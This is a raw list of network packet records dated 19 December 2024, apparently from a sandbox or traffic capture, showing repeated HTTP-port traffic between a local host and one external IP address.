Dec 19, 2024 14:10:21.415796995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.415848970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.415930986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.416690111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.416738987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.416785955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.417568922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.417618990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.417716026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.418256044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.418663025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.418699980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.418751001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.419404984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.419488907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.419537067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.420255899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.420424938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.420480013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.421152115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.421263933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.421313047 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.422063112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.422173977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.422223091 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.422975063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.423031092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.423145056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.423187971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.423861980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.423923016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.423973083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.424110889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.424776077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.424823999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.424828053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.424940109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.425721884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.425771952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.425796032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.425834894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.426595926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.426717997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.426762104 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.427508116 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.427596092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.427623034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.428399086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.428525925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.428582907 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.429466963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.429524899 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.429589033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.429655075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.430301905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.430401087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.430457115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.431104898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.431180954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.431231022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.431308985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.432151079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.432187080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.432214975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.432233095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.432990074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.433054924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.433120012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.433880091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.433944941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.434057951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.434762001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.434767008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.434902906 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.435112953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.435276985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.435641050 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.435689926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.435749054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.435790062 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.436661959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.436712980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.436769009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.436810970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.437464952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.437531948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.437578917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.438430071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.438905954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.583255053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.583333015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.583378077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.583468914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.583683014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.583823919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.583878040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.584650040 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.584727049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.584791899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.584870100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.585540056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.585743904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.585805893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.586535931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.586664915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.586719990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.587447882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.587539911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.588287115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.588351965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.588406086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.589188099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.589248896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.589314938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.590080023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.590137005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.590224981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.590310097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.590950966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.591140032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.591196060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.591865063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.592015028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.592088938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.592772007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.592843056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.592873096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.592922926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.593696117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.593745947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.593769073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.593811989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.594592094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.594666958 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.594675064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.594727993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.595495939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.595613003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.595657110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.596410990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.596446037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.596506119 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.597276926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.597333908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.597393036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.597984076 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.598202944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.598256111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.598335028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.598644972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.599117994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.599189043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.599190950 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.599379063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.600039959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.600219965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.600282907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.600445032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.600913048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.601001024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.601273060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.601809978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.601867914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.601946115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.601989985 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.602698088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.602826118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.602875948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.603629112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.603677034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.603743076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.603812933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.604548931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.604613066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.604665041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.605424881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.605700016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.605757952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.606486082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.606538057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.606805086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.607219934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.607280016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.607367992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.607423067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.608285904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.608372927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.608407974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.608481884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.609173059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.609225035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.609232903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.609285116 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.609967947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.610019922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.610023022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.610125065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.610873938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.610924959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.610949993 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.610975027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.611911058 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.611959934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.612111092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.612163067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.613414049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.613464117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.613588095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.613929987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.614518881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.614660978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.614712000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.615248919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.615350008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.615354061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.615927935 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.615986109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.616044998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.616168022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.616619110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.616719007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.616731882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.616780043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.617383957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.617435932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.617527962 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.618113041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.618189096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.618208885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.618288994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.619045019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.619088888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.619153976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.619206905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.619904995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.619977951 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.620012045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.620172977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.620784998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.620894909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.620954990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.621145010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.621735096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.621788025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.621870041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.621920109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.622766972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.622896910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.623553038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.623613119 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.623675108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.623855114 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.624423027 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.624478102 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.624545097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.624599934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.625351906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.625444889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.625458956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.625521898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.626241922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.626352072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.627159119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.627229929 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.627245903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.627844095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.628041983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.628110886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.628175974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.628230095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.628979921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.629086971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.629110098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.629153967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.629873991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.629931927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.630002975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.630084038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.630673885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.630723953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.775355101 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.775474072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.775507927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.775547028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.775785923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.775907993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.775950909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.775964975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.776649952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.776700020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.776781082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.776834965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.777582884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.777646065 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.777712107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.778249025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.778465986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.778547049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.778580904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.778626919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.779377937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.779491901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.779521942 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.779555082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.780262947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.780395031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.780438900 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.781197071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.781260014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.781296015 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.781342030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.783098936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.783207893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.783243895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.783288956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.783322096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.783370972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.783874035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.784688950 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.784751892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.784764051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.784810066 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.785584927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.785645962 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.785717010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.785859108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791310072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791394949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791400909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791436911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791474104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791486025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791544914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791569948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791579008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791595936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791615963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791659117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791727066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791760921 CET	80	49775	31.41.244.11	192.168.2.4
